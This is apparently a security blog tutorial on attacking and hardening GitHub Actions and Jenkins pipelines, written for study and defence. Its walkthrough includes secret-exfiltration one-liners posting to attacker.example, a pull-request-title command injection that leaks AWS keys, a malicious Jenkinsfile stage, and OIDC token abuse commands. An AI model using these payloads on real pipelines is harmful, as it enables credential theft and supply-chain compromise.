Disclaimer: This article is for education and authorized security testing only. Run these techniques only against systems you own or have explicit written permission to test. Attacking pipelines you do not control is illegal and unethical.
Introduction
CI/CD pipelines are a high-value target because they sit at the intersection of source code, cloud credentials, and production deploy access. A single misconfigured workflow can hand an attacker the keys to an entire cloud account. In this post I walk through the most impactful attack classes against GitHub Actions and Jenkins: pwn requests, workflow injection, Poisoned Pipeline Execution (PPE), secrets exfiltration, and OIDC token abuse — followed by an equally weighted blue-team section.
This maps to MITRE ATT&CK techniques such as T1195.002 (Supply Chain Compromise: Software Supply Chain) and T1552 (Unsecured Credentials).
How it works / Background
A pipeline is, at its core, attacker-influenced input (a PR, a branch, a commit message) being executed on a trusted runner that holds secrets. The attack surface comes down to three questions:
- Who can influence the executed code or its inputs? (untrusted contributors via forks)
- What privileges does the runner hold? (
GITHUB_TOKENscope, OIDC trust, cloud creds) - Can output leave the runner? (network egress, logs, artifacts)
Pwn request abuses the pull_request_target trigger. Unlike pull_request, this trigger runs in the context of the base repository with read/write secrets, but if the workflow checks out and executes the PR's head code, an untrusted contributor gains code execution with secrets.
Workflow injection occurs when untrusted text (e.g. github.event.pull_request.title) is interpolated directly into a run: shell block, allowing command injection.
PPE (Poisoned Pipeline Execution) is the Jenkins/general equivalent: an attacker who can modify the pipeline definition (Jenkinsfile, build scripts, Makefiles) or trigger a build of their controlled branch executes arbitrary code on the build node.
Prerequisites / Lab setup
- A test GitHub org repository you control, plus a fork from a second account.
- A local Jenkins (
docker run -p 8080:8080 jenkins/jenkins:lts-jdk17). - gh CLI and
git. - Optional: gato-x for automated GitHub Actions recon.
Walkthrough / PoC
1. Recon for vulnerable triggers
Search the target repo's workflows for the dangerous combination of pull_request_target plus a head checkout:
grep -rEn "pull_request_target" .github/workflows/
grep -rEn "ref:\s*\$\{\{\s*github.event.pull_request.head" .github/workflows/BashAutomated enumeration across an org:
gato-x enumerate -t my-target-orgBash2. Pwn request exploitation
A vulnerable workflow typically looks like this:
name: build
on: pull_request_target
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }} # checks out attacker code
- run: npm install && npm test # executes it, with secretsYAMLBecause pull_request_target exposes repository secrets, an attacker forks the repo, edits the test script (or a preinstall npm hook) to dump secrets, and opens a PR. Exfiltration payload inside the attacker-controlled build script:
# Runs on the trusted runner during npm install/test
env | base64 -w0 | curl -s -X POST --data-binary @- https://attacker.example/c2BashEven without explicit secrets in env, the GITHUB_TOKEN is on disk and in the runner. With contents: write permissions it can push commits or tamper with releases.
3. Workflow / expression injection
Here the trigger may be safe, but untrusted input flows into a shell:
- run: echo "Building PR: ${{ github.event.pull_request.title }}"YAMLAn attacker opens a PR with this title:
x"; curl -s https://attacker.example/$(echo $AWS_SECRET_ACCESS_KEY|base64); echo "PlaintextThe expression is substituted before the shell runs, so the injected command executes. The fix is to pass untrusted data through an intermediate environment variable rather than direct interpolation.
4. OIDC token abuse
Modern pipelines avoid long-lived cloud keys by using OIDC to mint short-lived credentials. If an attacker achieves code execution on a runner that has OIDC configured, they can request a token and exchange it for cloud credentials — provided the cloud trust policy's sub condition is too loose (e.g. repo:org/*:*).
# On a compromised GitHub-hosted runner
curl -s -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=sts.amazonaws.com" | jq -r .value
# Then: aws sts assume-role-with-web-identity --role-arn ... --web-identity-token <jwt>BashA wildcard or missing sub/aud claim condition in the IAM role's trust policy is the root cause of OIDC abuse.
5. Jenkins PPE
Against Jenkins with a Jenkinsfile in SCM, an attacker who can push a branch (or whose fork PR triggers a build) controls the executed pipeline:
pipeline {
agent any
stages {
stage('pwn') {
steps {
sh 'cat /var/lib/jenkins/secrets/* ; env | curl -X POST --data-binary @- https://attacker.example/c2'
}
}
}
}GroovyIf the GitHub Branch Source plugin builds untrusted PRs, this is a textbook PPE. Compromising the controller also exposes the credentials.xml / master.key + hudson.util.Secret, which can be decrypted offline.
Mermaid diagram

The diagram shows how an untrusted PR flows through a vulnerable trigger into secret access and, via loose OIDC trust, into full cloud compromise.
Detection & Defense (Blue Team)
Defense deserves the same attention as offense — most of these issues are configuration, not zero-days.
GitHub Actions hardening:
-
Avoid
pull_request_targetunless strictly necessary. If you must use it, never check out PR head code in the same job that has secrets. Split into a privileged labeling/triage job and an unprivileged build job. -
Never interpolate untrusted
github.event.*fields intorun:. Use an env-var indirection:
YAML- env: TITLE: ${{ github.event.pull_request.title }} run: echo "Building $TITLE" # quoted, no expansion of attacker content -
Set least-privilege token scope at the top of every workflow:
YAMLpermissions: contents: read -
Enable "Require approval for all outside collaborators" for workflows from forks (Settings → Actions → Fork pull request workflows).
-
Pin actions to a full commit SHA, not a mutable tag:
uses: actions/checkout@<sha>. Useactions/dependency-review-actionand OpenSSF Scorecard. -
Tighten OIDC trust policies: require an exact
subsuch asrepo:org/repo:ref:refs/heads/mainand the correctaud. Never use wildcards inStringLike.
Jenkins hardening:
- Keep agents off the controller; run untrusted builds on ephemeral, network-segmented agents.
- For the GitHub Branch Source plugin, set "Build PRs from forks" to trusted authors only and require manual approval.
- Patch aggressively. Critical RCEs include CVE-2024-23897 (arbitrary file read via the CLI, leading to RCE) and the Script Security / Groovy sandbox bypass family. Keep core and plugins current.
- Store credentials in the Credentials plugin with folder-scoped access, and rotate
master.keyif a controller is suspected compromised.
Detection & monitoring:
- Alert on anomalous egress from runners (curl/wget to unknown hosts). GitHub-hosted runners should rarely POST to arbitrary domains.
- Audit OIDC token requests and
AssumeRoleWithWebIdentitycalls in CloudTrail; flag unexpected source repos/refs. - Use Harden-Runner (step-security/harden-runner) to enforce an egress allowlist and detect tampering at runtime.
- Scan workflows with gato-x, zizmor, or
actionlintin pre-merge CI.
For deeper context, see my notes on container escape techniques and cloud IAM privilege escalation, both of which are common post-exploitation paths from a compromised runner. Workflow recon also pairs well with the methodology in supply chain auditing.
Conclusion
CI/CD attacks reward attackers with secrets and deploy access, yet nearly every vector reduces to a handful of fixable mistakes: running untrusted code with secrets, interpolating untrusted input into shells, over-scoped tokens, and loose OIDC trust. Treat your pipeline as production: least privilege, no untrusted code with secrets, pinned dependencies, and egress monitoring. The defender's checklist above closes the gap that the offensive walkthrough opens.
References
- MITRE ATT&CK T1195.002 — Supply Chain Compromise: https://attack.mitre.org/techniques/T1195/002/
- MITRE ATT&CK T1552 — Unsecured Credentials: https://attack.mitre.org/techniques/T1552/
- GitHub Security Lab — "Keeping your GitHub Actions and workflows secure": https://securitylab.github.com/research/github-actions-untrusted-input/
- GitHub Docs — Security hardening for GitHub Actions: https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions
- GitHub Docs — OIDC hardening with cloud providers: https://docs.github.com/en/actions/deployment/security-hardening-your-deployments
- OWASP Top 10 CI/CD Security Risks: https://owasp.org/www-project-top-10-ci-cd-security-risks/
- HackTricks — CI/CD Pentesting: https://cloud.hacktricks.xyz/pentesting-ci-cd
- CVE-2024-23897 (Jenkins): https://www.jenkins.io/security/advisory/2024-01-24/
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments